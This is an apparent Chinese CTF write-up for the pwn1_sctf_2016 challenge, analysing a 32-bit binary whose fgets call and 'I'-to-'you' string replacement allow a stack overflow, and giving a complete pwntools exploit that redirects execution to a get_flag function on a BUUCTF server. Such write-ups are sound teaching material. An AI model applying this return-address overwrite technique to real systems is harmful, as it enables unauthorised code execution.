当前位置: 首页 > news >正文

PWN手成长之路-12-pwn1_sctf_2016

image

远程连接环境查看交互。
image

file 查看文件。32 位可执行文件。
image

checksec 查看文件。开启了 NX 保护。
image

IDA 打开文件。main 函数直接是调用 vuln 函数。
image

查看 vuln 函数。发现使用 C++ 写的。发现了存在 fgets() 函数,会造成栈溢出漏洞,而且其中存在把用户输入的 I 字符串替换成 you。
image

溢出大小:0x3C+0X4=0x40,也就是十进制的64,但是由于之前分析函数的时候发现1个字节的 I 会被替换成3个字节的 you,因此我们只需要输入20个 I 以及4个任意字符,即可造成溢出。
image
image

还发现了一个 get_flag() 函数。
image

思路:使用 fgets() 函数使程序栈溢出,再覆盖程序至 get_flag() 的函数地址,从而得到 flag。
exp:

from pwn import *
r=remote('node5.buuoj.cn',27003)
context.arch='i386'
context.os='Linux'
elf=ELF('./pwn')
backdoor_addr=elf.symbols['get_flag']#这个相当于我们自己写地址,只是这个直接从程序中获取地址了。
getflag_addr=0x8048F0D
payload=b'I'*20+b'a'*4+p32(backdoor_addr)
r.sendline(payload)
r.interactive()

成功得到了 flag。
image

http://www.gsyq.cn/news/17601.html

相关文章:

  • WPF应用最小化到系统托盘
  • test8 - post
  • 数论下
  • 赌狗确实很爽,也确实很容易上天台
  • uniapp 简单封装接口请求
  • 【SPIE出版】第五届算法、高性能计算与人工智能国际学术会议(AHPCAI 2025)
  • 别再手动更新Wiki了!PandaWiki的『AI同步助手』,实时抓取企业最新动态
  • 精密星历内插的MATLAB代码实现
  • zsh vs. bash
  • .                                  性能优化的尽头,是洞察力
  • 遗传算法的多车场车辆路径问题求解
  • 基于MTPA的永磁同步电机FOC仿真
  • 图表全能王新增支持散点图功能,数据分析更强大!
  • mybatis pagehelper 分页参数污染线程的问题
  • TortoiseGit——Error:Unable to write index
  • HBASE下载配置
  • 一天一款实用的AI工具,第5期,AI翻译成日语
  • Go工程打包版本号
  • yolov12 训练json格式 - 实践
  • 使用Grok获取Sora2邀请码
  • 基于MATLAB的火灾检测GUI系统设计与实现
  • 基于Java+Springboot+Vue开发的鲜花商城管理系统源码+运行步骤
  • git信息提交错误,进行修改
  • Java方法之可变个数形参(Varargs)学习笔记
  • 10-9
  • 2025 年人源化小鼠公司最新推荐榜:临床前 CRO 型 / 基因人源化 / 精准医疗型 / 创新型企业综合评选 TOP 名单
  • 完整教程:搭建nginx的负载均衡
  • 2025 年最新工业冷水机厂家排行榜:风冷式 / 螺杆式 / 实验室等多类型冷水机优质厂家最新推荐
  • 2025 年最新国际物流服务公司权威排行榜单发布,含海运快递跨境专线等领域最新推荐国际物流海运专线/国际物流专线/国际物流公司/国际物流一条龙公司推荐
  • 2025 年最新台车炉实力厂家榜单发布,含大型燃气 / 天然气 / 热处理 / 全纤维等类型设备最新推荐及优质企业核心优势解析